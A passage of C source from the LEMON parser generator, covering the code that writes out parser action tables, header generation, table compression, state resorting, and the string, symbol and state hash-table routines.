if( lemp->wildcard ){
fprintf(out,"#define YYWILDCARD %d\n",
lemp->wildcard->index); lineno++;
}
print_stack_union(out,lemp,&lineno,mhflag);
fprintf(out, "#ifndef YYSTACKDEPTH\n"); lineno++;
if( lemp->stacksize ){
fprintf(out,"#define YYSTACKDEPTH %s\n",lemp->stacksize); lineno++;
}else{
fprintf(out,"#define YYSTACKDEPTH 100\n"); lineno++;
}
fprintf(out, "#endif\n"); lineno++;
if( mhflag ){
fprintf(out,"#if INTERFACE\n"); lineno++;
}
name = lemp->name ? lemp->name : "Parse";
if( lemp->arg && lemp->arg[0] ){
i = lemonStrlen(lemp->arg);
while( i>=1 && isspace(lemp->arg[i-1]) ) i--;
while( i>=1 && (isalnum(lemp->arg[i-1]) || lemp->arg[i-1]=='_') ) i--;
fprintf(out,"#define %sARG_SDECL %s;\n",name,lemp->arg); lineno++;
fprintf(out,"#define %sARG_PDECL ,%s\n",name,lemp->arg); lineno++;
fprintf(out,"#define %sARG_FETCH %s = yypParser->%s\n",
name,lemp->arg,&lemp->arg[i]); lineno++;
fprintf(out,"#define %sARG_STORE yypParser->%s = %s\n",
name,&lemp->arg[i],&lemp->arg[i]); lineno++;
}else{
fprintf(out,"#define %sARG_SDECL\n",name); lineno++;
fprintf(out,"#define %sARG_PDECL\n",name); lineno++;
fprintf(out,"#define %sARG_FETCH\n",name); lineno++;
fprintf(out,"#define %sARG_STORE\n",name); lineno++;
}
if( mhflag ){
fprintf(out,"#endif\n"); lineno++;
}
fprintf(out,"#define YYNSTATE %d\n",lemp->nstate); lineno++;
fprintf(out,"#define YYNRULE %d\n",lemp->nrule); lineno++;
if( lemp->errsym->useCnt ){
fprintf(out,"#define YYERRORSYMBOL %d\n",lemp->errsym->index); lineno++;
fprintf(out,"#define YYERRSYMDT yy%d\n",lemp->errsym->dtnum); lineno++;
}
if( lemp->has_fallback ){
fprintf(out,"#define YYFALLBACK 1\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the action table and its associates:
**
** yy_action[] A single table containing all actions.
** yy_lookahead[] A table containing the lookahead for each entry in
** yy_action. Used to detect hash collisions.
** yy_shift_ofst[] For each state, the offset into yy_action for
** shifting terminals.
** yy_reduce_ofst[] For each state, the offset into yy_action for
** shifting non-terminals after a reduce.
** yy_default[] Default action for each state.
*/
/* Compute the actions on all states and count them up */
ax = (struct axset *) calloc(lemp->nstate*2, sizeof(ax[0]));
if( ax==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
ax[i*2].stp = stp;
ax[i*2].isTkn = 1;
ax[i*2].nAction = stp->nTknAct;
ax[i*2+1].stp = stp;
ax[i*2+1].isTkn = 0;
ax[i*2+1].nAction = stp->nNtAct;
}
mxTknOfst = mnTknOfst = 0;
mxNtOfst = mnNtOfst = 0;
/* Compute the action table. In order to try to keep the size of the
** action table to a minimum, the heuristic of placing the largest action
** sets first is used.
*/
for(i=0; i<lemp->nstate*2; i++) ax[i].iOrder = i;
qsort(ax, lemp->nstate*2, sizeof(ax[0]), axset_compare);
pActtab = acttab_alloc();
for(i=0; i<lemp->nstate*2 && ax[i].nAction>0; i++){
stp = ax[i].stp;
if( ax[i].isTkn ){
for(ap=stp->ap; ap; ap=ap->next){
int action;
if( ap->sp->index>=lemp->nterminal ) continue;
action = compute_action(lemp, ap);
if( action<0 ) continue;
acttab_action(pActtab, ap->sp->index, action);
}
stp->iTknOfst = acttab_insert(pActtab);
if( stp->iTknOfst<mnTknOfst ) mnTknOfst = stp->iTknOfst;
if( stp->iTknOfst>mxTknOfst ) mxTknOfst = stp->iTknOfst;
}else{
for(ap=stp->ap; ap; ap=ap->next){
int action;
if( ap->sp->index<lemp->nterminal ) continue;
if( ap->sp->index==lemp->nsymbol ) continue;
action = compute_action(lemp, ap);
if( action<0 ) continue;
acttab_action(pActtab, ap->sp->index, action);
}
stp->iNtOfst = acttab_insert(pActtab);
if( stp->iNtOfst<mnNtOfst ) mnNtOfst = stp->iNtOfst;
if( stp->iNtOfst>mxNtOfst ) mxNtOfst = stp->iNtOfst;
}
}
free(ax);
/* Output the yy_action table */
n = acttab_size(pActtab);
fprintf(out,"#define YY_ACTTAB_COUNT (%d)\n", n); lineno++;
fprintf(out,"static const YYACTIONTYPE yy_action[] = {\n"); lineno++;
for(i=j=0; i<n; i++){
int action = acttab_yyaction(pActtab, i);
if( action<0 ) action = lemp->nstate + lemp->nrule + 2;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", action);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_lookahead table */
fprintf(out,"static const YYCODETYPE yy_lookahead[] = {\n"); lineno++;
for(i=j=0; i<n; i++){
int la = acttab_yylookahead(pActtab, i);
if( la<0 ) la = lemp->nsymbol;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", la);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_shift_ofst[] table */
fprintf(out, "#define YY_SHIFT_USE_DFLT (%d)\n", mnTknOfst-1); lineno++;
n = lemp->nstate;
while( n>0 && lemp->sorted[n-1]->iTknOfst==NO_OFFSET ) n--;
fprintf(out, "#define YY_SHIFT_COUNT (%d)\n", n-1); lineno++;
fprintf(out, "#define YY_SHIFT_MIN (%d)\n", mnTknOfst); lineno++;
fprintf(out, "#define YY_SHIFT_MAX (%d)\n", mxTknOfst); lineno++;
fprintf(out, "static const %s yy_shift_ofst[] = {\n",
minimum_size_type(mnTknOfst-1, mxTknOfst)); lineno++;
for(i=j=0; i<n; i++){
int ofst;
stp = lemp->sorted[i];
ofst = stp->iTknOfst;
if( ofst==NO_OFFSET ) ofst = mnTknOfst - 1;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", ofst);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the yy_reduce_ofst[] table */
fprintf(out, "#define YY_REDUCE_USE_DFLT (%d)\n", mnNtOfst-1); lineno++;
n = lemp->nstate;
while( n>0 && lemp->sorted[n-1]->iNtOfst==NO_OFFSET ) n--;
fprintf(out, "#define YY_REDUCE_COUNT (%d)\n", n-1); lineno++;
fprintf(out, "#define YY_REDUCE_MIN (%d)\n", mnNtOfst); lineno++;
fprintf(out, "#define YY_REDUCE_MAX (%d)\n", mxNtOfst); lineno++;
fprintf(out, "static const %s yy_reduce_ofst[] = {\n",
minimum_size_type(mnNtOfst-1, mxNtOfst)); lineno++;
for(i=j=0; i<n; i++){
int ofst;
stp = lemp->sorted[i];
ofst = stp->iNtOfst;
if( ofst==NO_OFFSET ) ofst = mnNtOfst - 1;
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", ofst);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
/* Output the default action table */
fprintf(out, "static const YYACTIONTYPE yy_default[] = {\n"); lineno++;
n = lemp->nstate;
for(i=j=0; i<n; i++){
stp = lemp->sorted[i];
if( j==0 ) fprintf(out," /* %5d */ ", i);
fprintf(out, " %4d,", stp->iDflt);
if( j==9 || i==n-1 ){
fprintf(out, "\n"); lineno++;
j = 0;
}else{
j++;
}
}
fprintf(out, "};\n"); lineno++;
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the table of fallback tokens.
*/
if( lemp->has_fallback ){
int mx = lemp->nterminal - 1;
while( mx>0 && lemp->symbols[mx]->fallback==0 ){ mx--; }
for(i=0; i<=mx; i++){
struct symbol *p = lemp->symbols[i];
if( p->fallback==0 ){
fprintf(out, " 0, /* %10s => nothing */\n", p->name);
}else{
fprintf(out, " %3d, /* %10s => %s */\n", p->fallback->index,
p->name, p->fallback->name);
}
lineno++;
}
}
tplt_xfer(lemp->name, in, out, &lineno);
/* Generate a table containing the symbolic name of every symbol
*/
for(i=0; i<lemp->nsymbol; i++){
lemon_sprintf(line,"\"%s\",",lemp->symbols[i]->name);
fprintf(out," %-15s",line);
if( (i&3)==3 ){ fprintf(out,"\n"); lineno++; }
}
if( (i&3)!=0 ){ fprintf(out,"\n"); lineno++; }
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate a table containing a text string that describes every
** rule in the rule set of the grammar. This information is used
** when tracing REDUCE actions.
*/
for(i=0, rp=lemp->rule; rp; rp=rp->next, i++){
assert( rp->index==i );
fprintf(out," /* %3d */ \"", i);
writeRuleText(out, rp);
fprintf(out,"\",\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes every time a symbol is popped from
** the stack while processing errors or while destroying the parser.
** (In other words, generate the %destructor actions)
*/
if( lemp->tokendest ){
int once = 1;
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type!=TERMINAL ) continue;
if( once ){
fprintf(out, " /* TERMINAL Destructor */\n"); lineno++;
once = 0;
}
fprintf(out," case %d: /* %s */\n", sp->index, sp->name); lineno++;
}
for(i=0; i<lemp->nsymbol && lemp->symbols[i]->type!=TERMINAL; i++);
if( i<lemp->nsymbol ){
emit_destructor_code(out,lemp->symbols[i],lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
}
if( lemp->vardest ){
struct symbol *dflt_sp = 0;
int once = 1;
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type==TERMINAL ||
sp->index<=0 || sp->destructor!=0 ) continue;
if( once ){
fprintf(out, " /* Default NON-TERMINAL Destructor */\n"); lineno++;
once = 0;
}
fprintf(out," case %d: /* %s */\n", sp->index, sp->name); lineno++;
dflt_sp = sp;
}
if( dflt_sp!=0 ){
emit_destructor_code(out,dflt_sp,lemp,&lineno);
}
fprintf(out," break;\n"); lineno++;
}
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
if( sp==0 || sp->type==TERMINAL || sp->destructor==0 ) continue;
fprintf(out," case %d: /* %s */\n", sp->index, sp->name); lineno++;
/* Combine duplicate destructors into a single case */
for(j=i+1; j<lemp->nsymbol; j++){
struct symbol *sp2 = lemp->symbols[j];
if( sp2 && sp2->type!=TERMINAL && sp2->destructor
&& sp2->dtnum==sp->dtnum
&& strcmp(sp->destructor,sp2->destructor)==0 ){
fprintf(out," case %d: /* %s */\n",
sp2->index, sp2->name); lineno++;
sp2->destructor = 0;
}
}
emit_destructor_code(out,lemp->symbols[i],lemp,&lineno);
fprintf(out," break;\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes whenever the parser stack overflows */
tplt_print(out,lemp,lemp->overflow,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the table of rule information
**
** Note: This code depends on the fact that rules are number
** sequentually beginning with 0.
*/
for(rp=lemp->rule; rp; rp=rp->next){
fprintf(out," { %d, %d },\n",rp->lhs->index,rp->nrhs); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which execution during each REDUCE action */
for(rp=lemp->rule; rp; rp=rp->next){
translate_code(lemp, rp);
}
/* First output rules other than the default: rule */
for(rp=lemp->rule; rp; rp=rp->next){
struct rule *rp2; /* Other rules with the same action */
if( rp->code==0 ) continue;
if( rp->code[0]=='\n' && rp->code[1]==0 ) continue; /* Will be default: */
fprintf(out," case %d: /* ", rp->index);
writeRuleText(out, rp);
fprintf(out, " */\n"); lineno++;
for(rp2=rp->next; rp2; rp2=rp2->next){
if( rp2->code==rp->code ){
fprintf(out," case %d: /* ", rp2->index);
writeRuleText(out, rp2);
fprintf(out," */ yytestcase(yyruleno==%d);\n", rp2->index); lineno++;
rp2->code = 0;
}
}
emit_code(out,rp,lemp,&lineno);
fprintf(out," break;\n"); lineno++;
rp->code = 0;
}
/* Finally, output the default: rule. We choose as the default: all
** empty actions. */
fprintf(out," default:\n"); lineno++;
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->code==0 ) continue;
assert( rp->code[0]=='\n' && rp->code[1]==0 );
fprintf(out," /* (%d) ", rp->index);
writeRuleText(out, rp);
fprintf(out, " */ yytestcase(yyruleno==%d);\n", rp->index); lineno++;
}
fprintf(out," break;\n"); lineno++;
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes if a parse fails */
tplt_print(out,lemp,lemp->failure,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes when a syntax error occurs */
tplt_print(out,lemp,lemp->error,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate code which executes when the parser accepts its input */
tplt_print(out,lemp,lemp->accept,&lineno);
tplt_xfer(lemp->name,in,out,&lineno);
/* Append any addition code the user desires */
tplt_print(out,lemp,lemp->extracode,&lineno);
fclose(in);
fclose(out);
return;
}
/* Generate a header file for the parser */
void ReportHeader(struct lemon *lemp)
{
FILE *out, *in;
const char *prefix;
char line[LINESIZE];
char pattern[LINESIZE];
int i;
if( lemp->tokenprefix ) prefix = lemp->tokenprefix;
else prefix = "";
in = file_open(lemp,".h","rb");
if( in ){
int nextChar;
for(i=1; i<lemp->nterminal && fgets(line,LINESIZE,in); i++){
lemon_sprintf(pattern,"#define %s%-30s %3d\n",
prefix,lemp->symbols[i]->name,i);
if( strcmp(line,pattern) ) break;
}
nextChar = fgetc(in);
fclose(in);
if( i==lemp->nterminal && nextChar==EOF ){
/* No change in the file. Don't rewrite it. */
return;
}
}
out = file_open(lemp,".h","wb");
if( out ){
for(i=1; i<lemp->nterminal; i++){
fprintf(out,"#define %s%-30s %3d\n",prefix,lemp->symbols[i]->name,i);
}
fclose(out);
}
return;
}
/* Reduce the size of the action tables, if possible, by making use
** of defaults.
**
** In this version, we take the most frequent REDUCE action and make
** it the default. Except, there is no default if the wildcard token
** is a possible look-ahead.
*/
void CompressTables(struct lemon *lemp)
{
struct state *stp;
struct action *ap, *ap2;
struct rule *rp, *rp2, *rbest;
int nbest, n;
int i;
int usesWildcard;
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
nbest = 0;
rbest = 0;
usesWildcard = 0;
for(ap=stp->ap; ap; ap=ap->next){
if( ap->type==SHIFT && ap->sp==lemp->wildcard ){
usesWildcard = 1;
}
if( ap->type!=REDUCE ) continue;
rp = ap->x.rp;
if( rp->lhsStart ) continue;
if( rp==rbest ) continue;
n = 1;
for(ap2=ap->next; ap2; ap2=ap2->next){
if( ap2->type!=REDUCE ) continue;
rp2 = ap2->x.rp;
if( rp2==rbest ) continue;
if( rp2==rp ) n++;
}
if( n>nbest ){
nbest = n;
rbest = rp;
}
}
/* Do not make a default if the number of rules to default
** is not at least 1 or if the wildcard token is a possible
** lookahead.
*/
if( nbest<1 || usesWildcard ) continue;
/* Combine matching REDUCE actions into a single default */
for(ap=stp->ap; ap; ap=ap->next){
if( ap->type==REDUCE && ap->x.rp==rbest ) break;
}
assert( ap );
ap->sp = Symbol_new("{default}");
for(ap=ap->next; ap; ap=ap->next){
if( ap->type==REDUCE && ap->x.rp==rbest ) ap->type = NOT_USED;
}
stp->ap = Action_sort(stp->ap);
}
}
/*
** Compare two states for sorting purposes. The smaller state is the
** one with the most non-terminal actions. If they have the same number
** of non-terminal actions, then the smaller is the one with the most
** token actions.
*/
static int stateResortCompare(const void *a, const void *b){
const struct state *pA = *(const struct state**)a;
const struct state *pB = *(const struct state**)b;
int n;
n = pB->nNtAct - pA->nNtAct;
if( n==0 ){
n = pB->nTknAct - pA->nTknAct;
if( n==0 ){
n = pB->statenum - pA->statenum;
}
}
assert( n!=0 );
return n;
}
/*
** Renumber and resort states so that states with fewer choices
** occur at the end. Except, keep state 0 as the first state.
*/
void ResortStates(struct lemon *lemp)
{
int i;
struct state *stp;
struct action *ap;
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
stp->nTknAct = stp->nNtAct = 0;
stp->iDflt = lemp->nstate + lemp->nrule;
stp->iTknOfst = NO_OFFSET;
stp->iNtOfst = NO_OFFSET;
for(ap=stp->ap; ap; ap=ap->next){
if( compute_action(lemp,ap)>=0 ){
if( ap->sp->index<lemp->nterminal ){
stp->nTknAct++;
}else if( ap->sp->index<lemp->nsymbol ){
stp->nNtAct++;
}else{
stp->iDflt = compute_action(lemp, ap);
}
}
}
}
qsort(&lemp->sorted[1], lemp->nstate-1, sizeof(lemp->sorted[0]),
stateResortCompare);
for(i=0; i<lemp->nstate; i++){
lemp->sorted[i]->statenum = i;
}
}
/***************** From the file "set.c" ************************************/
/*
** Set manipulation routines for the LEMON parser generator.
*/
static int size = 0;
/* Set the set size */
void SetSize(int n)
{
size = n+1;
}
/* Allocate a new set */
char *SetNew(){
char *s;
s = (char*)calloc( size, 1);
if( s==0 ){
extern void memory_error();
memory_error();
}
return s;
}
/* Deallocate a set */
void SetFree(char *s)
{
free(s);
}
/* Add a new element to the set. Return TRUE if the element was added
** and FALSE if it was already there. */
int SetAdd(char *s, int e)
{
int rv;
assert( e>=0 && e<size );
rv = s[e];
s[e] = 1;
return !rv;
}
/* Add every element of s2 to s1. Return TRUE if s1 changes. */
int SetUnion(char *s1, char *s2)
{
int i, progress;
progress = 0;
for(i=0; i<size; i++){
if( s2[i]==0 ) continue;
if( s1[i]==0 ){
progress = 1;
s1[i] = 1;
}
}
return progress;
}
/********************** From the file "table.c" ****************************/
/*
** All code in this file has been automatically generated
** from a specification in the file
** "table.q"
** by the associative array code building program "aagen".
** Do not edit this file! Instead, edit the specification
** file, then rerun aagen.
*/
/*
** Code for processing tables in the LEMON parser generator.
*/
PRIVATE unsigned strhash(const char *x)
{
unsigned h = 0;
while( *x ) h = h*13 + *(x++);
return h;
}
/* Works like strdup, sort of. Save a string in malloced memory, but
** keep strings in a table so that the same string is not in more
** than one place.
*/
const char *Strsafe(const char *y)
{
const char *z;
char *cpy;
if( y==0 ) return 0;
z = Strsafe_find(y);
if( z==0 && (cpy=(char *)malloc( lemonStrlen(y)+1 ))!=0 ){
lemon_strcpy(cpy,y);
z = cpy;
Strsafe_insert(z);
}
MemoryCheck(z);
return z;
}
/* There is one instance of the following structure for each
** associative array of type "x1".
*/
struct s_x1 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x1node *tbl; /* The data stored here */
struct s_x1node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x1".
*/
typedef struct s_x1node {
const char *data; /* The data */
struct s_x1node *next; /* Next entry with the same hash */
struct s_x1node **from; /* Previous link */
} x1node;
/* There is only one instance of the array, which is the following */
static struct s_x1 *x1a;
/* Allocate a new associative array */
void Strsafe_init(){
if( x1a ) return;
x1a = (struct s_x1*)malloc( sizeof(struct s_x1) );
if( x1a ){
x1a->size = 1024;
x1a->count = 0;
x1a->tbl = (x1node*)calloc(1024, sizeof(x1node) + sizeof(x1node*));
if( x1a->tbl==0 ){
free(x1a);
x1a = 0;
}else{
int i;
x1a->ht = (x1node**)&(x1a->tbl[1024]);
for(i=0; i<1024; i++) x1a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Strsafe_insert(const char *data)
{
x1node *np;
unsigned h;
unsigned ph;
if( x1a==0 ) return 0;
ph = strhash(data);
h = ph & (x1a->size-1);
np = x1a->ht[h];
while( np ){
if( strcmp(np->data,data)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x1a->count>=x1a->size ){
/* Need to make the hash table bigger */
int i,arrSize;
struct s_x1 array;
array.size = arrSize = x1a->size*2;
array.count = x1a->count;
array.tbl = (x1node*)calloc(arrSize, sizeof(x1node) + sizeof(x1node*));
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x1node**)&(array.tbl[arrSize]);
for(i=0; i<arrSize; i++) array.ht[i] = 0;
for(i=0; i<x1a->count; i++){
x1node *oldnp, *newnp;
oldnp = &(x1a->tbl[i]);
h = strhash(oldnp->data) & (arrSize-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x1a->tbl);
*x1a = array;
}
/* Insert the new data */
h = ph & (x1a->size-1);
np = &(x1a->tbl[x1a->count++]);
np->data = data;
if( x1a->ht[h] ) x1a->ht[h]->from = &(np->next);
np->next = x1a->ht[h];
x1a->ht[h] = np;
np->from = &(x1a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
const char *Strsafe_find(const char *key)
{
unsigned h;
x1node *np;
if( x1a==0 ) return 0;
h = strhash(key) & (x1a->size-1);
np = x1a->ht[h];
while( np ){
if( strcmp(np->data,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return a pointer to the (terminal or nonterminal) symbol "x".
** Create a new symbol if this is the first time "x" has been seen.
*/
struct symbol *Symbol_new(const char *x)
{
struct symbol *sp;
sp = Symbol_find(x);
if( sp==0 ){
sp = (struct symbol *)calloc(1, sizeof(struct symbol) );
MemoryCheck(sp);
sp->name = Strsafe(x);
sp->type = isupper(*x) ? TERMINAL : NONTERMINAL;
sp->rule = 0;
sp->fallback = 0;
sp->prec = -1;
sp->assoc = UNK;
sp->firstset = 0;
sp->lambda = LEMON_FALSE;
sp->destructor = 0;
sp->destLineno = 0;
sp->datatype = 0;
sp->useCnt = 0;
Symbol_insert(sp,sp->name);
}
sp->useCnt++;
return sp;
}
/* Compare two symbols for sorting purposes. Return negative,
** zero, or positive if a is less then, equal to, or greater
** than b.
**
** Symbols that begin with upper case letters (terminals or tokens)
** must sort before symbols that begin with lower case letters
** (non-terminals). And MULTITERMINAL symbols (created using the
** %token_class directive) must sort at the very end. Other than
** that, the order does not matter.
**
** We find experimentally that leaving the symbols in their original
** order (the order they appeared in the grammar file) gives the
** smallest parser tables in SQLite.
*/
int Symbolcmpp(const void *_a, const void *_b)
{
const struct symbol *a = *(const struct symbol **) _a;
const struct symbol *b = *(const struct symbol **) _b;
int i1 = a->type==MULTITERMINAL ? 3 : a->name[0]>'Z' ? 2 : 1;
int i2 = b->type==MULTITERMINAL ? 3 : b->name[0]>'Z' ? 2 : 1;
return i1==i2 ? a->index - b->index : i1 - i2;
}
/* There is one instance of the following structure for each
** associative array of type "x2".
*/
struct s_x2 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x2node *tbl; /* The data stored here */
struct s_x2node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x2".
*/
typedef struct s_x2node {
struct symbol *data; /* The data */
const char *key; /* The key */
struct s_x2node *next; /* Next entry with the same hash */
struct s_x2node **from; /* Previous link */
} x2node;
/* There is only one instance of the array, which is the following */
static struct s_x2 *x2a;
/* Allocate a new associative array */
void Symbol_init(){
if( x2a ) return;
x2a = (struct s_x2*)malloc( sizeof(struct s_x2) );
if( x2a ){
x2a->size = 128;
x2a->count = 0;
x2a->tbl = (x2node*)calloc(128, sizeof(x2node) + sizeof(x2node*));
if( x2a->tbl==0 ){
free(x2a);
x2a = 0;
}else{
int i;
x2a->ht = (x2node**)&(x2a->tbl[128]);
for(i=0; i<128; i++) x2a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Symbol_insert(struct symbol *data, const char *key)
{
x2node *np;
unsigned h;
unsigned ph;
if( x2a==0 ) return 0;
ph = strhash(key);
h = ph & (x2a->size-1);
np = x2a->ht[h];
while( np ){
if( strcmp(np->key,key)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x2a->count>=x2a->size ){
/* Need to make the hash table bigger */
int i,arrSize;
struct s_x2 array;
array.size = arrSize = x2a->size*2;
array.count = x2a->count;
array.tbl = (x2node*)calloc(arrSize, sizeof(x2node) + sizeof(x2node*));
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x2node**)&(array.tbl[arrSize]);
for(i=0; i<arrSize; i++) array.ht[i] = 0;
for(i=0; i<x2a->count; i++){
x2node *oldnp, *newnp;
oldnp = &(x2a->tbl[i]);
h = strhash(oldnp->key) & (arrSize-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->key = oldnp->key;
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x2a->tbl);
*x2a = array;
}
/* Insert the new data */
h = ph & (x2a->size-1);
np = &(x2a->tbl[x2a->count++]);
np->key = key;
np->data = data;
if( x2a->ht[h] ) x2a->ht[h]->from = &(np->next);
np->next = x2a->ht[h];
x2a->ht[h] = np;
np->from = &(x2a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct symbol *Symbol_find(const char *key)
{
unsigned h;
x2node *np;
if( x2a==0 ) return 0;
h = strhash(key) & (x2a->size-1);
np = x2a->ht[h];
while( np ){
if( strcmp(np->key,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return the n-th data. Return NULL if n is out of range. */
struct symbol *Symbol_Nth(int n)
{
struct symbol *data;
if( x2a && n>0 && n<=x2a->count ){
data = x2a->tbl[n-1].data;
}else{
data = 0;
}
return data;
}
/* Return the size of the array */
int Symbol_count()
{
return x2a ? x2a->count : 0;
}
/* Return an array of pointers to all data in the table.
** The array is obtained from malloc. Return NULL if memory allocation
** problems, or if the array is empty. */
struct symbol **Symbol_arrayof()
{
struct symbol **array;
int i,arrSize;
if( x2a==0 ) return 0;
arrSize = x2a->count;
array = (struct symbol **)calloc(arrSize, sizeof(struct symbol *));
if( array ){
for(i=0; i<arrSize; i++) array[i] = x2a->tbl[i].data;
}
return array;
}
/* Compare two configurations */
int Configcmp(const char *_a,const char *_b)
{
const struct config *a = (struct config *) _a;
const struct config *b = (struct config *) _b;
int x;
x = a->rp->index - b->rp->index;
if( x==0 ) x = a->dot - b->dot;
return x;
}
/* Compare two states */
PRIVATE int statecmp(struct config *a, struct config *b)
{
int rc;
for(rc=0; rc==0 && a && b; a=a->bp, b=b->bp){
rc = a->rp->index - b->rp->index;
if( rc==0 ) rc = a->dot - b->dot;
}
if( rc==0 ){
if( a ) rc = 1;
if( b ) rc = -1;
}
return rc;
}
/* Hash a state */
PRIVATE unsigned statehash(struct config *a)
{
unsigned h=0;
while( a ){
h = h*571 + a->rp->index*37 + a->dot;
a = a->bp;
}
return h;
}
/* Allocate a new state structure */
struct state *State_new()
{
struct state *newstate;
newstate = (struct state *)calloc(1, sizeof(struct state) );
MemoryCheck(newstate);
return newstate;
}
/* There is one instance of the following structure for each
** associative array of type "x3".
*/
struct s_x3 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x3node *tbl; /* The data stored here */
struct s_x3node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x3".
*/
typedef struct s_x3node {
struct state *data; /* The data */
struct config *key; /* The key */
struct s_x3node *next; /* Next entry with the same hash */
struct s_x3node **from; /* Previous link */
} x3node;
/* There is only one instance of the array, which is the following */
static struct s_x3 *x3a;
/* Allocate a new associative array */
void State_init(){
if( x3a ) return;
x3a = (struct s_x3*)malloc( sizeof(struct s_x3) );
if( x3a ){
x3a->size = 128;
x3a->count = 0;
x3a->tbl = (x3node*)calloc(128, sizeof(x3node) + sizeof(x3node*));
if( x3a->tbl==0 ){
free(x3a);
x3a = 0;
}else{
int i;
x3a->ht = (x3node**)&(x3a->tbl[128]);
for(i=0; i<128; i++) x3a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int State_insert(struct state *data, struct config *key)
{
x3node *np;
unsigned h;
unsigned ph;
if( x3a==0 ) return 0;
ph = statehash(key);
h = ph & (x3a->size-1);
np = x3a->ht[h];
while( np ){
if( statecmp(np->key,key)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x3a->count>=x3a->size ){
/* Need to make the hash table bigger */
int i,arrSize;
struct s_x3 array;
array.size = arrSize = x3a->size*2;
array.count = x3a->count;
array.tbl = (x3node*)calloc(arrSize, sizeof(x3node) + sizeof(x3node*));
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x3node**)&(array.tbl[arrSize]);
for(i=0; i<arrSize; i++) array.ht[i] = 0;
for(i=0; i<x3a->count; i++){
x3node *oldnp, *newnp;
oldnp = &(x3a->tbl[i]);
h = statehash(oldnp->key) & (arrSize-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->key = oldnp->key;
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x3a->tbl);
*x3a = array;
}
/* Insert the new data */
h = ph & (x3a->size-1);
np = &(x3a->tbl[x3a->count++]);
np->key = key;
np->data = data;
if( x3a->ht[h] ) x3a->ht[h]->from = &(np->next);
np->next = x3a->ht[h];
x3a->ht[h] = np;
np->from = &(x3a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
